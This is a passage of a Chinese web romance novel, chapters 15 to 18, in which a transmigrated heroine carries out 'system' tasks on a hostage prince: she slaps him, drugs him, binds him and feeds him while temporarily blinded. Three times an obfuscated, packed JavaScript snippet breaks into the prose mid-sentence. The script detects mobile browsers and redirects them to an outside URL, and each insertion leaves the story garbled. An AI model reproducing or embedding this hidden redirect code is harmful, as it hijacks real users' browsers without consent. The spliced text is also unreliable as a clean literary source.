温晚笙扶额,简短道谢,顺着他指的方向走去。 但没走出几步,小心脏又被震得几乎要跳出胸口。 “郑盛!你给我滚出来!” 不远处,一名素衣女子一路粗暴掀帘推门,未见要找的人,便“哐”地一声又重重阖上。 她双眼猩红,手里提着一柄还未开刃的佩剑。那气势,哪里是寻人,分明是索命。 今天出门没看黄历,怪事还真是一件接一件。 温晚笙心里暗骂一句,眼看女子离自己这里越来越近,下意识退入一侧暗角,贴着梁柱屏息敛声,将存在感压到最低。 还是等那位杀气腾腾的女子走远以后,再出去为妙。 她小心翼翼从柱后探出头,露出的右眼恰能看清对方相貌。 乍一看,她竟觉得有几分眼熟,像是哪家的千金小姐。 “郑盛,今天这样的日子你还敢来这里,你扪心自问,对得起爹爹吗?!” 不像是为情所困,反而像是因为别的。 又是一位姓郑的。 脑海里闪过昨天在马车上听到的那番闲言碎语,温晚笙双眼逐渐瞪大。 是郑亦瑶。 之前宫宴上拦住她的那位npc贵女。 那时她盛气凌人,浓妆艳抹,今天却素面朝天,一身素雅。 思绪飞扬间,一只黑蜘蛛悄无声息爬来,细足在地板上点着,近得几乎要攀上她的足踝。 温晚笙不经意垂目,脸色“唰”地一白。 她猛地侧身跨了两步,想跑出去,但郑亦瑶还提着剑在外面。 不是它死,就是她亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837414|191224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 她忍着恐惧一脚踩下去。 动作有点大,她低身喘了口气,强把作呕的冲动按下去,终究还是没忍住,喉头一紧,吐出一口酸水。 她扶着柱子稳住呼吸,胸口起伏了两下,才把那股翻涌硬生生压回去。 后劲太大了。 活了十几年,她实在是从没见过尸体,更别提那么恐怖狰狞的,也对法医专业没有任何兴趣。 蓦地,一道影子无声压来,挡住她的视线。 那道影子是黑的,它的主人亦是。 “怕了?” 男子垂眼瞥地,落在被她碾烂的蜘蛛上,唇角似有若无地扬起一线。 温晚笙猝然直起身子,不让这神出鬼没的人看出半点狼狈。 她迎上那双深不见底的黑眸,冷声问:“你跟踪我?” 男子没作声,从袖中取出一方素帕,递向她。 温晚笙才不敢乱接他的东西,她反手掏出自己的手帕,自顾自擦拭唇角。 男子指腹轻轻摩挲了一下帕子,竟低低笑出声来。 “姑娘看起来吓得不轻。” 盯着那张和‘俊美’二字八竿子打不着的脸,温晚笙火气蹭蹭往上冒。 “我才没被吓到,”她的声量不自觉拔高,复又压低,“要怕也是你自己怕吧!” 这人到底什么癖好,非要听她说害怕吗? 男子倒也没恼,目光落在她扶柱的手上。 她抓得极紧,指节都已泛白。 “离我远点,”温晚笙不自在地蜷了蜷手指,语带嫌弃,“你不觉得我们的距离太近了吗?” “姑娘不是说,”男子不退反进,冰凉的手蓦然抚上她的脸颊,“要同在下共度春宵?” 像她这般…轻浮之人,会出现在这等场所,他本也不该意外。 温晚笙的表情一阵抽搐。 她现在还恶心着,哪来的心情应付他。 不过可以恶心他。 “公子自重,”她硬生生挤出几分矫揉造作的羞赧,嗔怪道,“我有喜欢的人了,你这样,他会不乐意的。” 男子的指尖一顿,面无表情地贴近,“你乐意便好。” “我之前是开玩……”笑。 话音未尽,腰间忽然一紧,她瞬间止声。 她最怕痒了。 他究竟在打什么主意。 明明之前还拐弯抹角骂她,现在又主动贴上来。 除了女主,他根本不可能会想和别人行什么荒唐事。 他真的知道自己在说什么吗。 不过,正好。 “非礼啊!”她扬手就朝他的脸颊扇去。 然而,他的动作比她还快,紧紧扣住她的腕骨。 温晚笙当即抬起另一只手。 谁知箍在她腰上的那只手忽地上移,反手将她另一只手也一并擒住。 转瞬之间,两只手都被制住,抵在身后的墙上。 温晚笙眼底燃起火苗。 “不知廉耻!” 她将之前的四个字原封不动地还给他。 “松手。” “不。” “松开!” “不。” 温晚笙忍无可忍。 “裴怀璟,演够了吗?” 15.第 15 章 他的手指不自觉收拢半分。 已经记不清,多久没有人这么连名带姓唤过他。 久到他以为他叫”杂种”、”畜生”、”质子”。 原来,他是有名字的。 温晚笙唯恐他要仗着自己有张假脸,就做出什么骇人的事。 “你再装的话,我就进宫禀告陛下,说你偷偷溜出宫!”她压低声音威胁。 一个被关在冷宫的敌国质子,要是能自由出宫,也不会伪装成这副模样。 裴怀璟对上少女恶狠狠的杏眼。 半晌,终于松开她的双手,主动退开一步。 “温二小姐何时认出我的?”他的声音沉得令人发寒。 “这个嘛...你猜。” 温晚笙转动着发酸的手腕,神情遽然恢复警惕:“对了,你来这里干嘛?” 总不能是她跟系统随口许的愿望应验了吧。 “你还没回答我。” 他不认为他会露馅,他也从未在任何人面前露出过破绽。 她,是第一个。 要不要...杀了她。 温晚笙打量他两眼。 这是什么牌子的人机,只会一味追问。 她的视线缓缓滑落至他的下颌,心中一动,再抬眼时,已是含情脉脉。 “喜欢一个人,不论怎样都会认出他。” 少女的眼睛一眨一眨,亮得烫人。 裴怀璟恍惚了半息,脑海中无端浮起她拒绝他的理由。 她说,她已有心上人。 他忽然失去追问的兴致。 “冒犯了,温二小姐。”少年垂下眼睑,掩去眸中波动。 温晚笙黛眉轻抬。 身份被戳穿后,还挺乖巧? 她目不转睛盯着那张严丝合缝的面皮,眼里没有畏惧,全是好奇。 “你能不能告诉我,” 她无意识凑近些许,试图找出拼合的痕迹,“你的脸是怎么做到的?” 能想到这一层,多亏系统赠送的道具。 她还没使用过那张人皮面具,不知道是不是也能做到这般真假难辨。 裴怀璟对她的探究仿若未觉。 “不能。” 少年冷不丁抬眸,温晚笙与他的目光相撞。 昏暗光线下,他的眼瞳染上妖冶的红,仿佛能牵魂摄魄。 刚才怎么没发现,他的眼睛这么好看。 “温二小姐,” 裴怀璟嘴角忽然缓慢向上牵起一个弧度,语气仍是平静无波,“可还有什么心愿未了?” 他的表情略显僵硬,如同死物,却隐隐透着几分压抑不住的兴奋。 问题来得突兀,但温晚笙竟真的偏头思忖,神情专注得像在考量人生大事。 片刻,她抬起脸,郑重地点了点头,目光清亮,不染杂质。 “我现在确实有一个心愿,就是不知道质子可不可以满足我。” 裴怀璟神色一顿,摆出一副等待下文的姿态。 温晚笙酝酿了一下情绪,眼底泛起跃跃欲试的光。 “我可以打你一巴掌吗?” 裴怀璟指尖微动。 他当然可以满足,她的遗愿。 但他没来得及开口,温晚笙神情骤变。 她贴着墙悄然往旁边挪步,差点忘记压低嗓音,“你肩膀上有蜘蛛!” 袖中那抹已抵住指腹的锋芒被及时遮回。 裴怀璟不急不缓侧过眼眸。 在与他目光相触的一瞬,肩头原本还在向他锁骨爬动的东西,仿佛被无形的阴影笼罩,直直从衣料上跌落。 不过短短数息,它就蜷成一团,死寂无声。 温晚笙瞠目结舌。 难道这是病娇的光环,连蜘蛛都怕他。 她捂住嘴,好奇发问:“你不怕吗?” 要是蜘蛛爬到她身上,她肯定连衣服都想当场脱掉。 “怕?” 裴怀璟轻声重复,语调里带着近乎天真的困惑。 看他失神,温晚笙突然抬起手来。 问都问了,他不说话,就是默认。 老天保佑别掉好感。 事与愿违,少年动作依旧敏捷,精准扣住她的手腕,力道拿捏得恰到好处。 他垂下眼,看着落在那团蜷缩的蜘蛛上,一幕回忆闪过。 “为什么打我?” 满足她之前,他忽然想知道理由。 他的手劲不算重,但温晚笙戏精附体,眼里蕴起水色,带着三分委屈、四分愤怒、以及三分倔强。 “你轻薄我,我打你一巴掌,难道很过分吗?” “轻薄?”裴怀璟目光重新聚焦在她脸上。 真是个复读机… 温晚笙怕他真的不记得,默默提醒:“共度,咳,春宵。” 虽然是她先说的,可他敢同意,那就是他太随便了。 这家伙看似无害,实则八百个心眼子。 要是她不找个正当的理由,他以后不知道要怎么报复回来。 裴怀璟注视她许久,骤然松手,“是我无耻,对不起温二小姐。” ‘无耻’二字,被他咬得格外重。 他唇线紧抿,将脸凑到她面前。 “打我吧。” 这话听起来有点奇怪。 温晚笙下意识咽了口唾沫。 长这么大,她还从来没有扇过人巴掌。 明明要挨打的人是他,但裴怀璟清晰感觉到她的紧张。 装得像是第一次羞辱他。 温晚笙心里发毛,却老老实实抬手,落下,一气呵成。 这回,他乖乖站着不动,将耳光受下。 温晚笙看了眼他的脸颊,指尖蜷进掌心。 可惜看不到面具底下的情况... 【倒计时结束。】 【任务失败,请宿主再接再厉。】 温晚笙:?! “小八,你搞错了吧?” 她这一巴掌明明是在倒计时结束前落下的。 【任务失败。鉴定结果:宿主扇的,并不是攻略对象的脸。】 温晚笙张口就想反驳,话到嘴边,却猛地哽住。 确实,她扇的是人皮面具。 “那你怎么不早说!” 【抱歉,走神了。】 【失败惩罚:随机剥夺一种感官(视觉/听觉/嗅觉/味觉/触觉)。】 【生效时间:明天。】 温晚笙气得原地升天:“说惩罚的时候怎么不走神了?” 裴怀璟静静立着,许久,都没等来她的下一步动作。 他眼睫微垂,望向少女的拳头。 一巴掌,就够了么? 明明隔着一层东西,但他还是真真切切感到一丝疼意。 还有种异样的、仿佛羽毛搔刮般的痒。 温晚笙的眼神逐渐变得幽怨,越看他越不顺眼。 “你就不能摘掉你的破面具 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那边,救命恩人从天而降,郑亦瑶一颗心怦怦狂跳。 然而,当她看清来人的面容普通到不能再普通时,那点悸动立时褪去大半。 “多谢公子相救,小女子下辈子当牛做马,一定……” 话未说完,人已因惊吓过度软软倒下。 裴怀璟甚至没有垂眸看她一眼。 他俯身捡起那柄哐啷坠地的长剑。 冰冷的剑身倒映出他低敛的眉眼。 忽地,剑锋一转,对准地上昏迷的人。 静静观望的温晚笙吓了一跳。 他不会想杀人吧? 那他救她干嘛? 病娇的脑回路异于常人。 眼见那剑尖离郑亦瑶越来越近,来不及细想,温晚笙冲了过去。 一阵风自背后掠过,裴怀璟颈侧猝然一痛。 见少年纹丝不动,温晚笙讪讪收回手。 还是不能太过相信影视剧。 她屏住呼吸,在少年偏过头时,猛然将手里凭空变出来的粉末撒出去。 plan b。 系统奖励的软骨散,正好合理运用。 一秒。 两秒… 就在温晚笙准备逃跑时,裴怀璟膝盖一软,单腿跪了下去。 手中的剑叮然落地,发出清脆声响。 他缓缓抬起头,漆黑的眼里竟映出些微潮意。 “温二小姐...” 沙哑而脆弱的声音从他喉间挤出,带着几分委屈与无措。 温晚笙这才发现,他已摘下人皮面具。 此刻映在她眼里的,正是他的真容。 养眼多了。 但是过分苍白,像是久未见天光的冷玉。 他这是什么表情。 难道她真的误会了? 少年长睫一阖,终于支撑不住,像断了线的傀儡,了无生气栽倒在地。 【他吃东西时是如此诱人,你忍不住沉溺其中。当然,要是他吃的是你,定是更美妙的滋味...】 【任务:亲手喂攻略对象吃东西,直到他真心实意夸赞。】 【任务时限:三天。】 16.第 16 章 少女斜倚在转角处。 脚步声由远而近,愈来愈急。 就在那人嘟囔“人呢”的时候,她身形一转,出现在他背后。 “呀,四弟,”少女唇畔含笑,关切询问:”这么冷的天,你准备去哪玩呢?” 幸好,刚才多存了一份心。 昨夜她睡得极其不安稳,梦里又是蜘蛛,又是裴怀璟,此时仍觉心力交瘁。 而这个毛头小子,竟敢尾随她一路到后门。 被她一语点破行迹,温承泽静立片刻,方转身相对。 “二姐姐。” 他年纪不大,却端得一副老成的模样,当即依礼躬身,言辞恳切解释,“我今早多用了几口早膳,便想着走几步,略作消食。” 温晚笙没有错过他眼底那抹没藏住的仓皇,“原来是这样啊。” 她的目光在他脸上悠悠转过,不紧不慢道:“从内院一路‘消食’到这偏僻后门,姐姐还当四弟是想陪我出府。” 温承泽的笑意一僵,很快就从善如流地接上,“果然什么都瞒不过二姐姐。” “说来惭愧,其实弟弟确有一事相求。” 温晚笙眉尖挑了挑。 倒是没想到,他有脸面向她开口。 她倒要听听,他能吐出什么象牙来。 见她不语,温承泽低下眉眼,将姿态敛得更低。 “听闻国子监月中便要开学,弟弟心向往之,却苦无门路。万般无奈,才想恳请二姐姐,为我想个法子。” 他指的是几月前圣上特旨,于国子监内新设的那座书院,只收世家贵胄的小姐公子。 旁人寒窗十载,也未必能进这最高学府,而他们仅凭身份,便可轻易踏入。 不过温承泽身为庶子,没有这个机会。 温晚笙不清楚其中曲折,面上却未泄露分毫,反做出一副困惑模样,“奇了怪了。” “四弟不去求二叔、二婶、祖母、我爹...再不济求三妹妹也行啊,怎么来求我了?” “弟弟思来想去,只觉二姐姐最有主见,”温承泽指甲几乎嵌进手心,恭敬道:“也不会因出生之别…便看低了谁。” 听着是捧她,字里行间却在阴阳他嫡出的三姐不肯帮他。 温晚笙似笑非笑地睨着他,“也就是说,你觉得我比他们都聪明?” “是。” 温承泽答得毫不犹豫,”二姐姐慧眼独具,是大器晚成之相。” “......” 言下之意,她现在还不成器。 换作原身,八成已经被他的漂亮话哄得眉开眼笑。 “那你说...我这么聪明,会不会猜到那天,是谁在背后害我?” 温承泽呼吸一滞,强自撑起茫然,“恕弟弟愚笨,听不太明白。” 温晚笙‘啧’一声。 要不是查得仔细,恐怕还真要将这笔账错记在温若彤头上了。 “那就劳四弟费心,帮我好好查清楚。如果不能给我个满意的结果...”温晚笙眉眼弯起,“你刚才求的那件事,姐姐可就未必帮得上忙了。” 还真当她被人卖了,还会帮着数钱啊。 温承泽面色霎白,再无笑意。 少女抬起下巴,姿态一如往日明艳倨傲,“我那天被祖母罚跪了整整一夜,膝盖到现在还痛着呢。” “...我明白了。” * 裴怀璟做了个很沉的梦,醒来时意识尚在浑蒙之中。 他试着睁眼,眼皮却像被什么织物覆着,只余一片无边的黑。 更准确地说,透过布料隐隐漏进来的光,带着一点红。 他试着动了动,浑身乏弱,唯有指尖传来些微的知觉。 也因着这一动,他才察觉手脚皆被束缚着。 麻绳嵌入皮肉,传来清晰而适度的刺痛。 意念微动的刹那,记忆随之涌来。 打他和迷晕他的人,都是她。 那么将他绑成这样的人…也是她。 他挣扎的动作,霎时凝滞。 * 温升荣听闻歌舞坊的刺杀案,吓得不轻,连声叮嘱女儿少出门。 温晚笙面上自然应得乖巧。 昨天她迷晕裴怀璟后,本打算一走了之,但系统发布的任务,逼得她不得不收拾残局。 无奈之下,她只得硬生生编出一套说辞,将他塑造成一个薄情寡义、流连风月的负心人。 歌舞坊里专送醉客的伙计,被她声情并茂的演技唬得一愣一愣的,却又对这类痴男怨女的戏码见怪不怪。 待她报出百草堂的地址,他们更是信誓旦旦保证,会将人安然送到。 要是把裴怀璟带到温府,十有八九会惊动旁人,但百草堂不同。 虽因命案封闭数日,实则早已查明,不过是暂缓开业。 刘掌柜又恰好给她配了钥匙,可谓天时地利。 马车辘辘驶至百草堂后门。 抱着必完成任务的心态,温晚笙径直冲向招待病患的厢房。 十余间厢房依次寻去,直到最深处才找到有人的那间,光线昏暗,不太能照得到太阳。 她掂了掂手中的食盒,一缕温润香气幽幽逸出。 定了定神,她抬手推门。 清苦的药香扑面而来。 几乎同时,一副意想不到的场景撞入眼帘。 少年半倚在床榻间,双眼被一截红绸覆住,墨发如瀑散在枕间,手腕与脚踝皆被束缚着。 不像是被人绑架了,反倒像是什么...情趣。 温晚笙手一抖,食盒险些脱手坠地。 万万没想到,歌舞坊那些下人竟‘周到’至此,连衣裳都替他换了一套。 从原先那身死板无趣的黑衣,换成这袭薄如蝉翼的白衫。 和她初见他的那一日差不多。 少年似乎察觉到动静,猝然出声,打破她的浮想。 “温二小姐?” 他的嗓音低哑,像是久未沾过水,带着几分虚弱的沙涩。 绸带掩去他半张面容,无端衬出易碎易折的错觉。 看来系统的药并不烈。 他方才一动不动,她还以为他还没醒呢。 温晚笙被自己整得有些尴尬,轻咳一声,才稳下语调。 “...是我。” 她随手关上门。 “温二小姐有话不妨直说,”裴怀璟薄唇微微抿着,显得无辜至极,“何故绑我?” “我这不是...”温晚笙的声音有些飘忽,“怕你不愿意吗?” 裴怀璟好看的眉眼在红绸之下蹙起,可惜少女看不见。 温晚笙挤出两声干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844923|191224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 总不能说她以为他要行凶,索性先下手为强,然后为做任务,自己成了绑匪吧。 “你先别急,”她倏然转换话锋,眉眼弯成关切的弧度,”我给你带了点吃的,等你吃饱,我说不定......嗯,就放你走了。” 这话说得她自己都心虚。 原本该早点来的,可她为确保万无一失,硬是把人饿到了中午。 她提着裙摆一步步走近。 裴怀璟循着衣料窸窣与淡淡馨香微微偏首,几缕凌乱的墨发散在颊边。 再三确认绳结牢固后,温晚笙才搬来一张矮凳坐在榻边。 她将食盒搁在床头小几上,迫不及待取出碗碟。 “你快趁热吃吧。”她双眸灼灼,自己先被那香气勾得咽了咽口水。 她特意让马夫快马加鞭,连最易凉的三鲜羹都还滚着油花。 裴怀璟唇角掠过极淡的弧度,也不挣扎,还很礼貌。 “多谢。” 温晚笙不由多看了他一会儿。 他的眼睛好看,被红绸遮去后,却更添几分惑人。 像开在悬崖边的罂粟,明知有毒,却让人忍不住想要触碰。 目光从红绸,滑倒他高挺的鼻梁,再到淡色的唇瓣。 可惜了,要不是性格过于偏执阴郁,单凭这张脸,她肯定封他为这本书的男主。 想着想着,她忽然意识到什么。 “你怎么不吃?” 绸缎之后的神情朦胧难辨,唯有那只被缚的手腕动了动。 “温二小姐说笑了,”裴怀璟薄唇微动,声音里听不出情绪,“目不能视,身不能动,该如何用膳?" 温晚笙‘啊’了一声,“你不早说。” 她伸手,触到绳结的刹那,蓦然想起任务内容。 好像得亲手喂来着。 腕上的力道骤然消失,取而代之的是少女迟疑的询问。 “要不...我来喂你吧?” 虽然荒唐,但也只能这样。 况且真要松了绑,他报复她怎么办。 “好。” 温晚笙眨眨眼。 这么好说话? 他都能接受,她还有什么不能的。 她赶紧执起银箸,夹了块清炖玉竹鸡,送到他唇边。 “张嘴。” 裴怀璟顺从启唇,含住筷尖。 “好吃吗?”见他如此配合,温晚笙信心倍增。 裴怀璟慢条斯理咽下,浅浅颔首。 系统没反应。 看来不好吃。 温晚笙心里嘀咕,转而夹起一片芙蓉鱼片,“好吃吗?” 少年‘嗯’了一声,被覆住的眼眸安静地"望"着她。 难道不喜欢荤腥? 温晚笙喂给他一筷清炒白菜,还没开口,他清冽的嗓音便传来: “好吃。” ...又骗人。 她执起瓷勺,舀了勺三鲜羹。 动作忽急,勺沿径直磕上他的唇。 一声闷哼溢出。 晶莹的液体蜿蜒而下,顺着下颌流过喉结,没入松散的衣领。 要怪就怪,温晚笙的眼前突然一片黑。 【惩罚生效:宿主失去的感官为视觉。】 【时效:六个时辰(12小时)】 17.第 17 章 温晚笙左手僵硬着,悬在半空中,既收不回,也放不下。 原来这就是看不到的感觉。 短短几息之间,恐惧便悄然爬上心头。 瓷勺抵在少年唇畔,汤色令原本清冷的唇色泛起一层莹润,平添几分艳意。 他静静受着,不避不闪,仿佛被烫着的不是自己。 温晚笙强自镇定,“手抖。” 与她紊乱的呼吸不同,裴怀璟的气息均匀落在她指背与勺柄的间隙。 勺子离开的瞬间,他循着细微声响侧过脸,睫羽在红绸下垂落,投下一片浅影。 温晚笙当然不想让他发现自己的异样。 她在黑暗中摸索着,右手触到瓷碗边缘,左手的勺子磕在碗沿上,发出哐哐当当的声响。 她重新舀起一勺羹汤,做好心理建设,若无其事地开口引导: “啊——” 然而,少年并未如她所愿,似乎只是静静启唇,一点声音也没发出。 温晚笙暗暗咬牙。 既然听不出来,只能靠摸的。 右手在空中探寻半天,终于抚上冰凉的肌肤。 沿着脸颊的轮廓小心摸索,辨清唇的位置,她才勉强将那一勺汤送到他嘴里。 “好喝吗?” 颊边的暖意停留许久,直到她不耐地轻拍他的脸,裴怀璟才低低‘嗯’了一声。 温晚笙强忍着心底那股揍人的冲动,又尝试喂了几样别的东西。 不知道是第几次喂偏了,她颓然放下勺子,抬手抹掉额角渗出的细汗。 这惩罚比想象中的要折磨人。 不知道裴怀璟醒来的时候,发现自己眼前一片黑,会不会也感到惊惶。 念头闪过,温晚笙猛地一激灵。 她绑他就是为了攻略他。 他才是一切罪恶的源头。 她可怜他做什么。 那点不该有的怜意被她狠狠掐灭在心底。 “质子,你也太挑食了吧。”她忽然抱怨,“你到底喜欢吃什么?” 裴怀璟的眼皮颤了颤,“都喜欢。” 温晚笙抿了抿唇。 凭他刚才来者不拒的模样,岂止是不挑食,分明给什么就咽什么。 可系统总不会骗她,他就是什么都不喜欢吃。 ...... “其实我今天来,”温晚笙突然叹了口气,指尖无意识绞着衣袖,“有一件事要和你坦白。” 感受到少年的头朝她这边偏,她心脏砰砰狂跳。 “你的猫,我没能救活。”她喉间发紧,垂着眼,“对不起。” 空气瞬间沉得可怕。 良久,才听见他喉间溢出一声: “嗯。” 温晚笙已经做好面对怒意、质问、甚至好感骤降的提示音。 但什么都没有。 叫人心慌。 “你没什么要问我的吗?” “温二小姐想我说什么?”他的声音淡得近乎漠然。 温晚笙愣了一下,她也不知道。 一方面觉得愧疚,一方面又清楚自己已经尽了力。 唉。 她忽然不想再继续待下去,缓缓站起身,循着记忆朝着门口的方向挪步。 走到一半,她发现不对劲。 这间厢房到后门距离颇远,她又不可能打电话叫人来接。 在原地静立片刻,她慢吞吞转回去。 恰好,裴怀璟似乎换了个姿势,衣料摩挲声在静室中异常分明。 温晚笙借着声响辨明方向,迈步过去。 途中膝盖磕到床沿,到底还是安全回到了榻边。 黑暗将所有不安放大到极致。 “你现在...是不是很想想杀了我?”她试探道。 少女那点不易察觉的颤音,伴随着一丝愉悦,乍然缠绕上他的心头。 "温二小姐何出此言?" “我没救活你的猫,”温晚笙掰着指头细数,不说不知道,一说吓一跳,“骂过你、打过你、还绑...” 她倏然噤声,头皮阵阵发麻。 但愿她还能撑到回家那天。 “二小姐忘了,”裴怀璟忽然笑出声,清润嗓音如春溪解冻,“你于我有救命之恩。” 温晚笙一愣,没留意到变换的称呼。 他说的是...他们初遇那天。 可他明明握着匕首,想杀了她。 两双看不见的眼隔着红绸对上。 “温二小姐为什么会以为,我有杀人的能耐?” 他的语气温和得惊人,给温晚笙一种他们是朋友的错觉。 她好奇问道:“你昨天拿剑指着郑家小姐做什么?” 虽未闹出人命,可实在古怪,尤其是那些凭空出现的蛛群。 裴怀璟淡淡道:“从未用过,好奇。” 勉强合理。 不过一个日后杀人如麻的病娇,现在真的连剑都没握过? 匕首倒是用得很好。 温晚笙满腹疑窦,最终却只凝成一句: “那你保证,你不会杀我。” 其实现在想想,裴怀璟确实还没做过什么伤天害理的事。 反倒是顶着那样一张脸,配上那副不堪一击的身骨,总引得旁人想对他行坏事。 “……” “快说!”温晚笙默默将板凳往后挪,催促道。 “我保证。” 没有拉钩上吊,但温晚笙一颗心有十分之一放下了。 她怕以后任务会越来越离谱,危及她小命的那种,得一个承诺总归不算亏。 缠着少年脚踝的绳子不知被什么东西啃食过,看似复杂却不实用的结慢慢松散开来。 而温晚笙安安静静地趴在桌子上,半点没察觉危机。 在束缚他手腕的绳子也快要松开时,裴怀璟忽然听到她问。 “质子,你有喜欢的人吗?” 她本身话多且八卦,再不找些话题,她怕自己睡过去,还不如打探点有用的消息。 裴怀璟指尖动了动,“何谓喜欢?” 温晚笙突然卡壳。 在她前面的人生里,只有亲情和友情,没有爱情。 若真要说谁让她日思夜想,恐怕只有眼前这位了。 因为攻略。 知道裴怀璟爱刨根问底,温晚笙索性结合这段时间看的话本子,东拼西凑出一个答案。 “就是...日日夜夜思念那人,想见却又不敢见,见之心乱,不见心烦。” 说完,温晚笙下巴微微一抬,脸上浮现出满意的神色。 裴怀璟似乎当真静下心来思考,片刻后,幽幽出声。 “嗯。” 温晚笙瞪大双眼,仿佛被雷劈了一下。 她精神抖擞地直起身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那你先告诉我,你到底喜欢吃什么?” 少年不说话了。 “喂!” “温二小姐不若先为我松绑。” “松了你就告诉我?” “嗯。” 在得知软骨散暂时还未完全失效后,温晚笙咬了咬牙,“行。” “不过你得保证,不会报复我。” 裴怀璟声音平静得瘆人:“在温二小姐眼里,我就这么吓人?” 他不过是一个手无缚鸡之力的质子,他倒是想不明白,她的恐惧从何而来。 “...你先保证。” “好。” 得了承诺,温晚笙站起身来,接近床榻,一双手慢慢吞吞往他身上探去。 在空气里挥了几下,她干脆直接问:“你的手在哪?” 随即给自己的睁眼瞎状态,补上一句极为合理的理由,“这里光线昏暗,我看不清。” 裴怀璟垂在双腿之间的手动了动。 “在身前。” 18.第 18 章 温晚笙循着大致方向,摸索过去。 因为眼瞎,动作难免莽撞。 但总算没有扑空。 只不过不是绳,而是一层薄薄的布料,带着点温度。 指尖落下之处平稳起伏。 应该是所有角色的标配。 看着清瘦,线条却流畅利落。 温晚笙从来没有碰过,虽好奇但没敢停留太久。 依着记忆里他被缚着的姿势,她小心向下寻找麻绳。 鼓鼓囊囊的,像是揣了不少银子。 她向来贪财,手指不觉便按得更实了些。 头顶突地传来一声短促压抑的抽气。 温晚笙的动作一滞,“弄疼你了?” 至于吗,她也没多用力啊。 裴怀璟的喉结起伏了一下,声音似乎是从牙缝间挤出来的。 “...绳结,在下面。” 温晚笙‘哦’了一声,不疑有他。 指尖掠过突兀之处,果不其然摸到粗粝的麻绳,以及被绑着的手腕。 之前他的手冰凉无比,现在竟然有点烫。 反常的温度让指节本能一蜷,但她很快沉下心,专心致志对付死结。 绳子勒得太狠,几乎要嵌进皮肤。 难怪他说手会废。 她两手并用,人伏得极近,指尖在他腕侧一下一下来回扣弄,全部的力气和心思都集中在一处。 毫无察觉少年的呼吸随着她笨拙的按压,变得越来越沉,越来越乱。 温晚笙碰了碰他的手背,忍不住问:“你很热吗?” 千万别病倒了,不利于任务。 发烧的时候可是吃什么都不香。 “...不热。” 一番动作下来,他的额角已渗出细密的汗珠,但他的神色古怪又复杂。 疼痛、压抑、兴奋交织在一处。 这个折磨他的法子倒是特别。 从没人这么折磨过他。 温晚笙听出他的声音又沙哑不少。 纤细的腕骨时不时颤一下,应该是疼极了。 可别真勒断了。 “忍一下,我马上解开。” 动作更快的同时,手劲又更重了些。 她认真起来可不是盖的,不过一盏茶的时间就解开结眼。 麻绳滑落至少年身侧。 他缓慢转动几乎失去知觉的手腕,红青交错的痕迹衬得他的肤色愈加苍白。 “有劳温二小姐。” “我们认识这么久了,你不觉得这个称呼有点太生分了吗?” 闻言,裴怀璟抬手摘红绸的动作骤然停住。 “要不你换一个称呼吧?”温晚笙顺势提议,“以后直接叫我的名字怎么样。” 拉近关系,从最寻常的称呼开始。 窗外忽有风声拂过。 裴怀璟缓缓放下手。 舌尖上似乎辗转过许多可能,他最终只吐出三个字: “二小姐。” 隐去了姓氏。 也算一大步了。 温晚笙勉强接受,很快切入正题,“现在你可以告诉我,你喜欢吃什么了吧?” “都喜欢。” “……” “这不是和之前一样的答案吗?”温晚笙有点抓狂,“我要实话!” “是实话。” “……” 被耍了。 温晚笙怒气值直线上升,一句话也不想说,就想把他再绑回去,可麻绳不知道被丢到了哪里。 暮色渐浓。 摇曳的烛火将两人的影子拉长、重叠,投在墙上时合时分,如一幕无声的皮影戏。 ‘啪’地一声,烛芯燃至尽头。 最后一点光焰溘然熄灭。 黑暗将两人所在的方寸之地吞没,但谁也没察觉。 没办法离开,也没办法完成任务,温晚笙只能干坐着。 姿态从一开始的防备,到后来的困倦。 失去了对时间的判断,她伏在桌子上,哈欠一个接一个。 裴怀璟安静得可怕,但软骨散还没完全失效,用不着担忧。 鼻尖萦绕着清冽的沉香。 慢慢地,温晚笙每一次眨眼都愈发沉重,似有千钧重。 耳边响起绵密的呼吸声,少年神色晦涩莫辨,摩挲着手里的麻绳,不知在想些什么。 一夜无眠。 * “小姐,还是让厨娘做吧。” 秋香无奈劝说厨房里头翻看菜谱的少女。 小姐一大清早回府便研究起了糕点,不知在闹哪出。 温晚笙一边搅拌蛋液,一边脸不红心不跳地说:“令仪好吃好喝地招待了我一晚上,我总得表示表示。” 没错,她扯了个幌子,昨天临时说自己去朋友家小住,这才没让身边的人起疑。 秋香叹了口气,只能默默守着,以免她一个不甚再炸了厨房。 也不知小姐与谢家小姐的交情,何时变得这般好了。 温晚笙今天目的明确,直奔着各类甜点方子去的。 尽管过程不是很简单,但她不信区区一个糕点还能难倒她。 而秋香眼里的忧色越来越深。 小姐这般执拗,这点心莫不是送给谢大人的? 傍晚时分,少女傍晚兴高采烈地出了门。 这边秋香揣着满腹心事,那边温晚笙已经轻车熟路来到百草堂。 【倒计时:20:01:28。】 可能是因为旁边多了个人,还不是个好人,温晚笙早早就在一阵酸麻僵痛中醒了过来。 